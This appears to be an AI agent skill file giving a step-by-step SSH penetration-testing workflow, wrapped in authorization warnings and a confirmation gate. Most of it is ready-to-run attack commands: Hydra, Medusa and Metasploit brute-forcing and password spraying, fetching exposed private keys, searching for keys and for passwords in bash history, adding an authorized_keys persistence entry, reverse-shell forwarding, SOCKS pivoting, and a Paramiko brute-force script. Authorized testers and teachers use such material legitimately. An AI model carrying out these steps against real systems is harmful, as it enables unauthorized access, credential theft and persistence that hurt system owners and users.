ssh-penetration-testing

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited. Mandatory confirmation gate Before any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target, ask for the exact target URL, IP, account, or resource and confirmation of written authorization and permitted scope. Show the exact command(s), explain their expected effect, and wait for explicit confirmation in the current conversation. Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

SSH Penetration Testing

Purpose

Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.

Prerequisites

Required Tools

• Nmap with SSH scripts
• Hydra or Medusa for brute-forcing
• ssh-audit for configuration analysis
• Metasploit Framework
• Python with Paramiko library

Required Knowledge

• SSH protocol fundamentals
• Public/private key authentication
• Port forwarding concepts
• Linux command-line proficiency

Outputs and Deliverables

1. SSH Enumeration Report - Versions, algorithms, configurations
2. Credential Assessment - Weak passwords, default credentials
3. Vulnerability Assessment - Known CVEs, misconfigurations
4. Tunnel Documentation - Port forwarding configurations

Core Workflow

Phase 1: SSH Service Discovery

Identify SSH services on target networks:

# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100

Phase 2: SSH Enumeration

Gather detailed information about SSH services:

# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

Phase 3: SSH Configuration Auditing

Identify weak configurations:

# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions

Key configuration weaknesses to identify:

• Weak key exchange algorithms (diffie-hellman-group1-sha1)
• Weak ciphers (arcfour, 3des-cbc)
• Weak MACs (hmac-md5, hmac-sha1-96)
• Deprecated protocol versions

Phase 4: Credential Attacks

Use only approved synthetic/test accounts, a bounded attempt/rate/time budget and explicit lockout/stop conditions. Recovered private keys, password cracking, persistence and pivoting each need separate scope. Do not print credentials or read unrelated users' histories. Host identity must be verified out of band; never disable host-key validation to make a test connect.

Brute-Force with Hydra

# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

Brute-Force with Medusa

# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

Password Spraying

# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done

Phase 5: Key-Based Authentication Testing

Test for weak or exposed keys:

# Attempt login with found private key
ssh -i id_rsa [email protected]

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa [email protected]

# Force password authentication
ssh -o PreferredAuthentications=password [email protected]

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" [email protected]
done

Check for exposed keys:

# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz

Phase 6: Vulnerability Exploitation

Search for known vulnerabilities:

# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run

Phase 7: SSH Tunneling and Port Forwarding

Local Port Forwarding

Forward local port to remote service:

# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 [email protected]
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 [email protected]

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 [email protected]

Remote Port Forwarding

Expose local service to remote network:

# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server

# Expose local web server to remote
ssh -R 8080:localhost:80 [email protected]
# Remote can access via localhost:8080

# Reverse shell callback
ssh -R 4444:localhost:4444 [email protected]

Dynamic Port Forwarding (SOCKS Proxy)

Create SOCKS proxy for network pivoting:

# Create SOCKS proxy on local port 1080
ssh -D 1080 [email protected]

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# Browser configuration
# Set SOCKS proxy to localhost:1080

ProxyJump (Jump Hosts)

Chain through multiple SSH servers:

# Jump through intermediate host
ssh -J user1@jump_host user2@target_host

# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target

# With SSH config
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump [email protected]

Phase 8: Post-Exploitation

Activities after gaining SSH access:

# Check sudo privileges
sudo -l

# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# Extract SSH configuration
cat /etc/ssh/sshd_config

# Find other users
cat /etc/passwd | grep -v nologin
ls /home/

# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass

Phase 9: Custom SSH Scripts with Paramiko

Python-based SSH automation:

#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """Attempt SSH connection with credentials"""
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.RejectPolicy())
    
    try:
        client.connect(host, username=username, password=password, timeout=5)
        print("[+] Authentication succeeded for authorized test account")
        return client
    except paramiko.AuthenticationException:
        print("[-] Authentication failed (credential redacted)")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def execute_command(client, command):
    """Execute command via SSH"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """Brute-force SSH with wordlist"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()
    
    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # Run post-exploitation commands
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# Usage
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"
    
    # Single credential test
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()

Phase 10: Metasploit SSH Modules

Use Metasploit for comprehensive SSH testing:

# Start Metasploit
msfconsole

# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# Post-exploitation with SSH session
sessions -i 1

Quick Reference

SSH Enumeration Commands

Command	Purpose
nc <host> 22	Banner grabbing
ssh-audit <host>	Configuration audit
Select reviewed individual NSE scripts	Do not run a wildcard including unreviewed intrusive scripts
searchsploit openssh	Find exploits

Brute-Force Options

Tool	Command
Hydra	hydra -l user -P pass.txt ssh://host
Medusa	medusa -h host -u user -P pass.txt -M ssh
Ncrack	ncrack -p 22 --user admin -P pass.txt host
Metasploit	use auxiliary/scanner/ssh/ssh_login

Port Forwarding Types

Type	Command	Use Case
Local	-L 8080:target:80	Access remote services locally
Remote	-R 8080:localhost:80	Expose local services remotely
Dynamic	-D 1080	SOCKS proxy for pivoting

Common SSH Ports

Port	Description
22	Default SSH
2222	Common alternate
22222	Another alternate
830	NETCONF over SSH

Constraints and Limitations

Legal Considerations

• Always obtain written authorization
• Brute-forcing may violate ToS
• Document all testing activities

Technical Limitations

• Rate limiting may block attacks
• Fail2ban or similar may ban IPs
• Key-based auth prevents password attacks
• Two-factor authentication adds complexity

Evasion Techniques

• Use slow brute-force: -t 1 -w 5
• Do not distribute attempts to evade lockouts/rate limits; respect the agreed test budget
• Use timing-based enumeration carefully
• Respect lockout thresholds

Troubleshooting

Issue	Solutions
Connection Refused	Verify SSH running; check firewall; confirm port; test from different IP
Authentication Failures	Verify username; check password policy; key permissions (600); authorized_keys format
Tunnel Not Working	Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use ssh -v

When to Use

This skill is applicable to execute the workflow or actions described in the overview.